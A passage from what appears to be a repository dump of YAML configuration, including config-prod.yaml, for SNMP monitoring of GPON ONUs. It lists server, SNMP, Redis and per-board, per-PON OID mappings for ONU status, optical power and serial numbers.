200 | onu_rx_power: ".500.20.2.2.2.1.10.285278477"
201 | onu_tx_power: ".3.50.12.1.1.14.268504320"
202 | onu_status_id : ".500.10.2.3.8.1.4.285278477"
203 | onu_ip_address : ".3.50.16.1.1.10.268504320"
204 | onu_description : ".500.10.2.3.3.1.3.285278477"
205 | onu_last_online_time: ".500.10.2.3.8.1.5.285278477"
206 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278477"
207 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278477"
208 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278477"
209 |
210 | Board1Pon14:
211 | onu_id_name : ".500.10.2.3.3.1.2.285278478"
212 | onu_type: ".3.50.11.2.1.17.268504576"
213 | onu_serial_number : ".500.10.2.3.3.1.18.285278478"
214 | onu_rx_power: ".500.20.2.2.2.1.10.285278478"
215 | onu_tx_power: ".3.50.12.1.1.14.268504576"
216 | onu_status_id : ".500.10.2.3.8.1.4.285278478"
217 | onu_ip_address : ".3.50.16.1.1.10.268504576"
218 | onu_description : ".500.10.2.3.3.1.3.285278478"
219 | onu_last_online_time: ".500.10.2.3.8.1.5.285278478"
220 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278478"
221 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278478"
222 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278478"
223 |
224 | Board1Pon15:
225 | onu_id_name : ".500.10.2.3.3.1.2.285278479"
226 | onu_type: ".3.50.11.2.1.17.268504832"
227 | onu_serial_number : ".500.10.2.3.3.1.18.285278479"
228 | onu_rx_power: ".500.20.2.2.2.1.10.285278479"
229 | onu_tx_power: ".3.50.12.1.1.14.268504832"
230 | onu_status_id : ".500.10.2.3.8.1.4.285278479"
231 | onu_ip_address : ".3.50.16.1.1.10.268504832"
232 | onu_description : ".500.10.2.3.3.1.3.285278479"
233 | onu_last_online_time: ".500.10.2.3.8.1.5.285278479"
234 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278479"
235 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278479"
236 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278479"
237 |
238 | Board1Pon16:
239 | onu_id_name : ".500.10.2.3.3.1.2.285278480"
240 | onu_type: ".3.50.11.2.1.17.268505088"
241 | onu_serial_number : ".500.10.2.3.3.1.18.285278480"
242 | onu_rx_power: ".500.20.2.2.2.1.10.285278480"
243 | onu_tx_power: ".3.50.12.1.1.14.268505088"
244 | onu_status_id : ".500.10.2.3.8.1.4.285278480"
245 | onu_ip_address : ".3.50.16.1.1.10.268505088"
246 | onu_description : ".500.10.2.3.3.1.3.285278480"
247 | onu_last_online_time: ".500.10.2.3.8.1.5.285278480"
248 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278480"
249 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278480"
250 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278480"
251 |
252 | Board2Pon1:
253 | onu_id_name : ".500.10.2.3.3.1.2.285278721"
254 | onu_type: ".3.50.11.2.1.17.268566784"
255 | onu_serial_number : ".500.10.2.3.3.1.18.285278721"
256 | onu_rx_power: ".500.20.2.2.2.1.10.285278721"
257 | onu_tx_power: ".3.50.12.1.1.14.268566784"
258 | onu_status_id : ".500.10.2.3.8.1.4.285278721"
259 | onu_ip_address : ".3.50.16.1.1.10.268566784"
260 | onu_description : ".500.10.2.3.3.1.3.285278721"
261 | onu_last_online_time: ".500.10.2.3.8.1.5.285278721"
262 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278721"
263 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278721"
264 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278721"
265 |
266 | Board2Pon2:
267 | onu_id_name : ".500.10.2.3.3.1.2.285278722"
268 | onu_type: ".3.50.11.2.1.17.268567040"
269 | onu_serial_number : ".500.10.2.3.3.1.18.285278722"
270 | onu_rx_power: ".500.20.2.2.2.1.10.285278722"
271 | onu_tx_power: ".3.50.12.1.1.14.268567040"
272 | onu_status_id : ".500.10.2.3.8.1.4.285278722"
273 | onu_ip_address : ".3.50.16.1.1.10.268567040"
274 | onu_description : ".500.10.2.3.3.1.3.285278722"
275 | onu_last_online_time: ".500.10.2.3.8.1.5.285278722"
276 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278722"
277 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278722"
278 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278722"
279 |
280 | Board2Pon3:
281 | onu_id_name : ".500.10.2.3.3.1.2.285278723"
282 | onu_type: ".3.50.11.2.1.17.268567296"
283 | onu_serial_number : ".500.10.2.3.3.1.18.285278723"
284 | onu_rx_power: ".500.20.2.2.2.1.10.285278723"
285 | onu_tx_power: ".3.50.12.1.1.14.268567296"
286 | onu_status_id : ".500.10.2.3.8.1.4.285278723"
287 | onu_ip_address : ".3.50.16.1.1.10.268567296"
288 | onu_description : ".500.10.2.3.3.1.3.285278723"
289 | onu_last_online_time: ".500.10.2.3.8.1.5.285278723"
290 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278723"
291 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278723"
292 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278723"
293 |
294 |
295 | Board2Pon4:
296 | onu_id_name : ".500.10.2.3.3.1.2.285278724"
297 | onu_type: ".3.50.11.2.1.17.268567552"
298 | onu_serial_number : ".500.10.2.3.3.1.18.285278724"
299 | onu_rx_power: ".500.20.2.2.2.1.10.285278724"
300 | onu_tx_power: ".3.50.12.1.1.14.268567552"
301 | onu_status_id : ".500.10.2.3.8.1.4.285278724"
302 | onu_ip_address : ".3.50.16.1.1.10.268567552"
303 | onu_description : ".500.10.2.3.3.1.3.285278724"
304 | onu_last_online_time: ".500.10.2.3.8.1.5.285278724"
305 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278724"
306 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278724"
307 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278724"
308 |
309 |
310 | Board2Pon5:
311 | onu_id_name : ".500.10.2.3.3.1.2.285278725"
312 | onu_type: ".3.50.11.2.1.17.268567808"
313 | onu_serial_number : ".500.10.2.3.3.1.18.285278725"
314 | onu_rx_power: ".500.20.2.2.2.1.10.285278725"
315 | onu_tx_power: ".3.50.12.1.1.14.268567808"
316 | onu_status_id : ".500.10.2.3.8.1.4.285278725"
317 | onu_ip_address : ".3.50.16.1.1.10.268567808"
318 | onu_description : ".500.10.2.3.3.1.3.285278725"
319 | onu_last_online_time: ".500.10.2.3.8.1.5.285278725"
320 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278725"
321 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278725"
322 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278725"
323 |
324 | Board2Pon6:
325 | onu_id_name : ".500.10.2.3.3.1.2.285278726"
326 | onu_type: ".3.50.11.2.1.17.268568064"
327 | onu_serial_number : ".500.10.2.3.3.1.18.285278726"
328 | onu_rx_power: ".500.20.2.2.2.1.10.285278726"
329 | onu_tx_power: ".3.50.12.1.1.14.268568064"
330 | onu_status_id : ".500.10.2.3.8.1.4.285278726"
331 | onu_ip_address : ".3.50.16.1.1.10.268568064"
332 | onu_description : ".500.10.2.3.3.1.3.285278726"
333 | onu_last_online_time: ".500.10.2.3.8.1.5.285278726"
334 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278726"
335 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278726"
336 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278726"
337 |
338 | Board2Pon7:
339 | onu_id_name : ".500.10.2.3.3.1.2.285278727"
340 | onu_type: ".3.50.11.2.1.17.268568320"
341 | onu_serial_number : ".500.10.2.3.3.1.18.285278727"
342 | onu_rx_power: ".500.20.2.2.2.1.10.285278727"
343 | onu_tx_power: ".3.50.12.1.1.14.268568320"
344 | onu_status_id : ".500.10.2.3.8.1.4.285278727"
345 | onu_ip_address : ".3.50.16.1.1.10.268568320"
346 | onu_description : ".500.10.2.3.3.1.3.285278727"
347 | onu_last_online_time: ".500.10.2.3.8.1.5.285278727"
348 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278727"
349 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278727"
350 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278727"
351 |
352 |
353 | Board2Pon8:
354 | onu_id_name : ".500.10.2.3.3.1.2.285278728"
355 | onu_type: ".3.50.11.2.1.17.268568576"
356 | onu_serial_number : ".500.10.2.3.3.1.18.285278728"
357 | onu_rx_power: ".500.20.2.2.2.1.10.285278728"
358 | onu_tx_power: ".3.50.12.1.1.14.268568576"
359 | onu_status_id : ".500.10.2.3.8.1.4.285278728"
360 | onu_ip_address : ".3.50.16.1.1.10.268568576"
361 | onu_description : ".500.10.2.3.3.1.3.285278728"
362 | onu_last_online_time: ".500.10.2.3.8.1.5.285278728"
363 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278728"
364 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278728"
365 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278728"
366 |
367 | Board2Pon9:
368 | onu_id_name : ".500.10.2.3.3.1.2.285278729"
369 | onu_type: ".3.50.11.2.1.17.268568832"
370 | onu_serial_number : ".500.10.2.3.3.1.18.285278729"
371 | onu_rx_power: ".500.20.2.2.2.1.10.285278729"
372 | onu_tx_power: ".3.50.12.1.1.14.268568832"
373 | onu_status_id : ".500.10.2.3.8.1.4.285278729"
374 | onu_ip_address : ".3.50.16.1.1.10.268568832"
375 | onu_description : ".500.10.2.3.3.1.3.285278729"
376 | onu_last_online_time: ".500.10.2.3.8.1.5.285278729"
377 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278729"
378 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278729"
379 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278729"
380 |
381 | Board2Pon10:
382 | onu_id_name : ".500.10.2.3.3.1.2.285278730"
383 | onu_type: ".3.50.11.2.1.17.268569088"
384 | onu_serial_number : ".500.10.2.3.3.1.18.285278730"
385 | onu_rx_power: ".500.20.2.2.2.1.10.285278730"
386 | onu_tx_power: ".3.50.12.1.1.14.268569088"
387 | onu_status_id : ".500.10.2.3.8.1.4.285278730"
388 | onu_ip_address : ".3.50.16.1.1.10.268569088"
389 | onu_description : ".500.10.2.3.3.1.3.285278730"
390 | onu_last_online_time: ".500.10.2.3.8.1.5.285278730"
391 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278730"
392 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278730"
393 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278730"
394 |
395 | Board2Pon11:
396 | onu_id_name : ".500.10.2.3.3.1.2.285278731"
397 | onu_type: ".3.50.11.2.1.17.268569344"
398 | onu_serial_number : ".500.10.2.3.3.1.18.285278731"
399 | onu_rx_power: ".500.20.2.2.2.1.10.285278731"
400 | onu_tx_power: ".3.50.12.1.1.14.268569344"
401 | onu_status_id : ".500.10.2.3.8.1.4.285278731"
402 | onu_ip_address : ".3.50.16.1.1.10.268569344"
403 | onu_description : ".500.10.2.3.3.1.3.285278731"
404 | onu_last_online_time: ".500.10.2.3.8.1.5.285278731"
405 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278731"
406 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278731"
407 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278731"
408 |
409 |
410 | Board2Pon12:
411 | onu_id_name : ".500.10.2.3.3.1.2.285278732"
412 | onu_type: ".3.50.11.2.1.17.268569600"
413 | onu_serial_number : ".500.10.2.3.3.1.18.285278732"
414 | onu_rx_power: ".500.20.2.2.2.1.10.285278732"
415 | onu_tx_power: ".3.50.12.1.1.14.268569600"
416 | onu_status_id : ".500.10.2.3.8.1.4.285278732"
417 | onu_ip_address : ".3.50.16.1.1.10.268569600"
418 | onu_description : ".500.10.2.3.3.1.3.285278732"
419 | onu_last_online_time: ".500.10.2.3.8.1.5.285278732"
420 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278732"
421 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278732"
422 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278732"
423 |
424 | Board2Pon13:
425 | onu_id_name : ".500.10.2.3.3.1.2.285278733"
426 | onu_type: ".3.50.11.2.1.17.268569856"
427 | onu_serial_number : ".500.10.2.3.3.1.18.285278733"
428 | onu_rx_power: ".500.20.2.2.2.1.10.285278733"
429 | onu_tx_power: ".3.50.12.1.1.14.268569856"
430 | onu_status_id : ".500.10.2.3.8.1.4.285278733"
431 | onu_ip_address : ".3.50.16.1.1.10.268569856"
432 | onu_description : ".500.10.2.3.3.1.3.285278733"
433 | onu_last_online_time: ".500.10.2.3.8.1.5.285278733"
434 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278733"
435 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278733"
436 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278733"
437 |
438 | Board2Pon14:
439 | onu_id_name : ".500.10.2.3.3.1.2.285278734"
440 | onu_type: ".3.50.11.2.1.17.268570112"
441 | onu_serial_number : ".500.10.2.3.3.1.18.285278734"
442 | onu_rx_power: ".500.20.2.2.2.1.10.285278734"
443 | onu_tx_power: ".3.50.12.1.1.14.268570112"
444 | onu_status_id : ".500.10.2.3.8.1.4.285278734"
445 | onu_ip_address : ".3.50.16.1.1.10.268570112"
446 | onu_description : ".500.10.2.3.3.1.3.285278734"
447 | onu_last_online_time: ".500.10.2.3.8.1.5.285278734"
448 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278734"
449 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278734"
450 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278734"
451 |
452 | Board2Pon15:
453 | onu_id_name : ".500.10.2.3.3.1.2.285278735"
454 | onu_type: ".3.50.11.2.1.17.268570368"
455 | onu_serial_number : ".500.10.2.3.3.1.18.285278735"
456 | onu_rx_power: ".500.20.2.2.2.1.10.285278735"
457 | onu_tx_power: ".3.50.12.1.1.14.268570368"
458 | onu_status_id : ".500.10.2.3.8.1.4.285278735"
459 | onu_ip_address : ".3.50.16.1.1.10.268570368"
460 | onu_description : ".500.10.2.3.3.1.3.285278735"
461 | onu_last_online_time: ".500.10.2.3.8.1.5.285278735"
462 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278735"
463 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278735"
464 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278735"
465 |
466 | Board2Pon16:
467 | onu_id_name : ".500.10.2.3.3.1.2.285278736"
468 | onu_type: ".3.50.11.2.1.17.268570624"
469 | onu_serial_number : ".500.10.2.3.3.1.18.285278736"
470 | onu_rx_power: ".500.20.2.2.2.1.10.285278736"
471 | onu_tx_power: ".3.50.12.1.1.14.268570624"
472 | onu_status_id : ".500.10.2.3.8.1.4.285278736"
473 | onu_ip_address : ".3.50.16.1.1.10.268570624"
474 | onu_description : ".500.10.2.3.3.1.3.285278736"
475 | onu_last_online_time: ".500.10.2.3.8.1.5.285278736"
476 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278736"
477 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278736"
478 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278736"
479 |
--------------------------------------------------------------------------------
/config/config-prod.yaml:
--------------------------------------------------------------------------------
1 | ServerCfg:
2 | host : "localhost"
3 | port : "8081"
4 | mode : "development"
5 |
6 | SnmpCfg:
7 | ip : "192.168.213.174"
8 | port : "161"
9 | community : "homenetro"
10 |
11 | RedisCfg:
12 | host : "localhost"
13 | port : "6379"
14 | password : ""
15 | db : "0"
16 | default_db: 0
17 | min_idle_connections: 200
18 | pool_size: 12000
19 | pool_timeout: 240
20 |
21 | OltCfg:
22 | base_oid_1 : ".1.3.6.1.4.1.3902.1082"
23 | base_oid_2 : ".1.3.6.1.4.1.3902.1012"
24 | onu_id_name : ".500.10.2.3.3.1.2"
25 | onu_type: ".3.50.11.2.1.17"
26 |
27 | Board1Pon1:
28 | onu_id_name : ".500.10.2.3.3.1.2.285278465"
29 | onu_type: ".3.50.11.2.1.17.268501248"
30 | onu_serial_number : ".500.10.2.3.3.1.18.285278465"
31 | onu_rx_power: ".500.20.2.2.2.1.10.285278465"
32 | onu_tx_power: ".3.50.12.1.1.14.268501248"
33 | onu_status_id : ".500.10.2.3.8.1.4.285278465"
34 | onu_ip_address : ".3.50.16.1.1.10.268501248"
35 | onu_description : ".500.10.2.3.3.1.3.285278465"
36 | onu_last_online_time : ".500.10.2.3.8.1.5.285278465"
37 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278465"
38 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278465"
39 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278465"
40 |
41 | Board1Pon2:
42 | onu_id_name : ".500.10.2.3.3.1.2.285278466"
43 | onu_type: ".3.50.11.2.1.17.268501504"
44 | onu_serial_number : ".500.10.2.3.3.1.18.285278466"
45 | onu_rx_power: ".500.20.2.2.2.1.10.285278466"
46 | onu_tx_power: ".3.50.12.1.1.14.268501504"
47 | onu_status_id : ".500.10.2.3.8.1.4.285278466"
48 | onu_ip_address : ".3.50.16.1.1.10.268501504"
49 | onu_description : ".500.10.2.3.3.1.3.285278466"
50 | onu_last_online_time: ".500.10.2.3.8.1.5.285278466"
51 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278466"
52 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278466"
53 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278466"
54 |
55 | Board1Pon3:
56 | onu_id_name : ".500.10.2.3.3.1.2.285278467"
57 | onu_type: ".3.50.11.2.1.17.268501760"
58 | onu_serial_number : ".500.10.2.3.3.1.18.285278467"
59 | onu_rx_power: ".500.20.2.2.2.1.10.285278467"
60 | onu_tx_power: ".3.50.12.1.1.14.268501760"
61 | onu_status_id : ".500.10.2.3.8.1.4.285278467"
62 | onu_ip_address : ".3.50.16.1.1.10.268501760"
63 | onu_description : ".500.10.2.3.3.1.3.285278467"
64 | onu_last_online_time: ".500.10.2.3.8.1.5.285278467"
65 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278467"
66 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278467"
67 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278467"
68 |
69 | Board1Pon4:
70 | onu_id_name : ".500.10.2.3.3.1.2.285278468"
71 | onu_type: ".3.50.11.2.1.17.268502016"
72 | onu_serial_number : ".500.10.2.3.3.1.18.285278468"
73 | onu_rx_power: ".500.20.2.2.2.1.10.285278468"
74 | onu_tx_power: ".3.50.12.1.1.14.268502016"
75 | onu_status_id : ".500.10.2.3.8.1.4.285278468"
76 | onu_ip_address : ".3.50.16.1.1.10.268502016"
77 | onu_description : ".500.10.2.3.3.1.3.285278468"
78 | onu_last_online_time: ".500.10.2.3.8.1.5.285278468"
79 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278468"
80 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278468"
81 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278468"
82 |
83 |
84 | Board1Pon5:
85 | onu_id_name : ".500.10.2.3.3.1.2.285278469"
86 | onu_type: ".3.50.11.2.1.17.268502272"
87 | onu_serial_number : ".500.10.2.3.3.1.18.285278469"
88 | onu_rx_power: ".500.20.2.2.2.1.10.285278469"
89 | onu_tx_power: ".3.50.12.1.1.14.268502272"
90 | onu_status_id : ".500.10.2.3.8.1.4.285278469"
91 | onu_ip_address : ".3.50.16.1.1.10.268502272"
92 | onu_description : ".500.10.2.3.3.1.3.285278469"
93 | onu_last_online_time: ".500.10.2.3.8.1.5.285278469"
94 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278469"
95 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278469"
96 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278469"
97 |
98 | Board1Pon6:
99 | onu_id_name : ".500.10.2.3.3.1.2.285278470"
100 | onu_type: ".3.50.11.2.1.17.268502528"
101 | onu_serial_number : ".500.10.2.3.3.1.18.285278470"
102 | onu_rx_power: ".500.20.2.2.2.1.10.285278470"
103 | onu_tx_power: ".3.50.12.1.1.14.268502528"
104 | onu_status_id : ".500.10.2.3.8.1.4.285278470"
105 | onu_ip_address : ".3.50.16.1.1.10.268502528"
106 | onu_description : ".500.10.2.3.3.1.3.285278470"
107 | onu_last_online_time: ".500.10.2.3.8.1.5.285278470"
108 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278470"
109 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278470"
110 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278470"
111 |
112 | Board1Pon7:
113 | onu_id_name : ".500.10.2.3.3.1.2.285278471"
114 | onu_type: ".3.50.11.2.1.17.268502784"
115 | onu_serial_number : ".500.10.2.3.3.1.18.285278471"
116 | onu_rx_power: ".500.20.2.2.2.1.10.285278471"
117 | onu_tx_power: ".3.50.12.1.1.14.268502784"
118 | onu_status_id : ".500.10.2.3.8.1.4.285278471"
119 | onu_ip_address : ".3.50.16.1.1.10.268502784"
120 | onu_description : ".500.10.2.3.3.1.3.285278471"
121 | onu_last_online_time: ".500.10.2.3.8.1.5.285278471"
122 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278471"
123 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278471"
124 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278471"
125 |
126 | Board1Pon8:
127 | onu_id_name : ".500.10.2.3.3.1.2.285278472"
128 | onu_type: ".3.50.11.2.1.17.268503040"
129 | onu_serial_number : ".500.10.2.3.3.1.18.285278472"
130 | onu_rx_power: ".500.20.2.2.2.1.10.285278472"
131 | onu_tx_power: ".3.50.12.1.1.14.268503040"
132 | onu_status_id : ".500.10.2.3.8.1.4.285278472"
133 | onu_ip_address : ".3.50.16.1.1.10.268503040"
134 | onu_description : ".500.10.2.3.3.1.3.285278472"
135 | onu_last_online_time: ".500.10.2.3.8.1.5.285278472"
136 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278472"
137 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278472"
138 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278472"
139 |
140 | Board1Pon9:
141 | onu_id_name : ".500.10.2.3.3.1.2.285278473"
142 | onu_type: ".3.50.11.2.1.17.268503296"
143 | onu_serial_number : ".500.10.2.3.3.1.18.285278473"
144 | onu_rx_power: ".500.20.2.2.2.1.10.285278473"
145 | onu_tx_power: ".3.50.12.1.1.14.268503296"
146 | onu_status_id : ".500.10.2.3.8.1.4.285278473"
147 | onu_ip_address : ".3.50.16.1.1.10.268503296"
148 | onu_description : ".500.10.2.3.3.1.3.285278473"
149 | onu_last_online_time: ".500.10.2.3.8.1.5.285278473"
150 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278473"
151 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278473"
152 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278473"
153 |
154 | Board1Pon10:
155 | onu_id_name : ".500.10.2.3.3.1.2.285278474"
156 | onu_type: ".3.50.11.2.1.17.268503552"
157 | onu_serial_number : ".500.10.2.3.3.1.18.285278474"
158 | onu_rx_power: ".500.20.2.2.2.1.10.285278474"
159 | onu_tx_power: ".3.50.12.1.1.14.268503552"
160 | onu_status_id : ".500.10.2.3.8.1.4.285278474"
161 | onu_ip_address : ".3.50.16.1.1.10.268503552"
162 | onu_description : ".500.10.2.3.3.1.3.285278474"
163 | onu_last_online_time: ".500.10.2.3.8.1.5.285278474"
164 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278474"
165 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278474"
166 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278474"
167 |
168 | Board1Pon11:
169 | onu_id_name : ".500.10.2.3.3.1.2.285278475"
170 | onu_type: ".3.50.11.2.1.17.268503808"
171 | onu_serial_number : ".500.10.2.3.3.1.18.285278475"
172 | onu_rx_power: ".500.20.2.2.2.1.10.285278475"
173 | onu_tx_power: ".3.50.12.1.1.14.268503808"
174 | onu_status_id : ".500.10.2.3.8.1.4.285278475"
175 | onu_ip_address : ".3.50.16.1.1.10.268503808"
176 | onu_description : ".500.10.2.3.3.1.3.285278475"
177 | onu_last_online_time: ".500.10.2.3.8.1.5.285278475"
178 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278475"
179 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278475"
180 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278475"
181 |
182 | Board1Pon12:
183 | onu_id_name : ".500.10.2.3.3.1.2.285278476"
184 | onu_type: ".3.50.11.2.1.17.268504064"
185 | onu_serial_number : ".500.10.2.3.3.1.18.285278476"
186 | onu_rx_power: ".500.20.2.2.2.1.10.285278476"
187 | onu_tx_power: ".3.50.12.1.1.14.268504064"
188 | onu_status_id : ".500.10.2.3.8.1.4.285278476"
189 | onu_ip_address : ".3.50.16.1.1.10.268504064"
190 | onu_description : ".500.10.2.3.3.1.3.285278476"
191 | onu_last_online_time: ".500.10.2.3.8.1.5.285278476"
192 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278476"
193 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278476"
194 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278476"
195 |
196 | Board1Pon13:
197 | onu_id_name : ".500.10.2.3.3.1.2.285278477"
198 | onu_type: ".3.50.11.2.1.17.268504320"
199 | onu_serial_number : ".500.10.2.3.3.1.18.285278477"
200 | onu_rx_power: ".500.20.2.2.2.1.10.285278477"
201 | onu_tx_power: ".3.50.12.1.1.14.268504320"
202 | onu_status_id : ".500.10.2.3.8.1.4.285278477"
203 | onu_ip_address : ".3.50.16.1.1.10.268504320"
204 | onu_description : ".500.10.2.3.3.1.3.285278477"
205 | onu_last_online_time: ".500.10.2.3.8.1.5.285278477"
206 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278477"
207 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278477"
208 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278477"
209 |
210 | Board1Pon14:
211 | onu_id_name : ".500.10.2.3.3.1.2.285278478"
212 | onu_type: ".3.50.11.2.1.17.268504576"
213 | onu_serial_number : ".500.10.2.3.3.1.18.285278478"
214 | onu_rx_power: ".500.20.2.2.2.1.10.285278478"
215 | onu_tx_power: ".3.50.12.1.1.14.268504576"
216 | onu_status_id : ".500.10.2.3.8.1.4.285278478"
217 | onu_ip_address : ".3.50.16.1.1.10.268504576"
218 | onu_description : ".500.10.2.3.3.1.3.285278478"
219 | onu_last_online_time: ".500.10.2.3.8.1.5.285278478"
220 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278478"
221 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278478"
222 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278478"
223 |
224 | Board1Pon15:
225 | onu_id_name : ".500.10.2.3.3.1.2.285278479"
226 | onu_type: ".3.50.11.2.1.17.268504832"
227 | onu_serial_number : ".500.10.2.3.3.1.18.285278479"
228 | onu_rx_power: ".500.20.2.2.2.1.10.285278479"
229 | onu_tx_power: ".3.50.12.1.1.14.268504832"
230 | onu_status_id : ".500.10.2.3.8.1.4.285278479"
231 | onu_ip_address : ".3.50.16.1.1.10.268504832"
232 | onu_description : ".500.10.2.3.3.1.3.285278479"
233 | onu_last_online_time: ".500.10.2.3.8.1.5.285278479"
234 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278479"
235 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278479"
236 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278479"
237 |
238 | Board1Pon16:
239 | onu_id_name : ".500.10.2.3.3.1.2.285278480"
240 | onu_type: ".3.50.11.2.1.17.268505088"
241 | onu_serial_number : ".500.10.2.3.3.1.18.285278480"
242 | onu_rx_power: ".500.20.2.2.2.1.10.285278480"
243 | onu_tx_power: ".3.50.12.1.1.14.268505088"
244 | onu_status_id : ".500.10.2.3.8.1.4.285278480"
245 | onu_ip_address : ".3.50.16.1.1.10.268505088"
246 | onu_description : ".500.10.2.3.3.1.3.285278480"
247 | onu_last_online_time: ".500.10.2.3.8.1.5.285278480"
248 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278480"
249 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278480"
250 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278480"
251 |
252 | Board2Pon1:
253 | onu_id_name : ".500.10.2.3.3.1.2.285278721"
254 | onu_type: ".3.50.11.2.1.17.268566784"
255 | onu_serial_number : ".500.10.2.3.3.1.18.285278721"
256 | onu_rx_power: ".500.20.2.2.2.1.10.285278721"
257 | onu_tx_power: ".3.50.12.1.1.14.268566784"
258 | onu_status_id : ".500.10.2.3.8.1.4.285278721"
259 | onu_ip_address : ".3.50.16.1.1.10.268566784"
260 | onu_description : ".500.10.2.3.3.1.3.285278721"
261 | onu_last_online_time: ".500.10.2.3.8.1.5.285278721"
262 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278721"
263 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278721"
264 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278721"
265 |
266 | Board2Pon2:
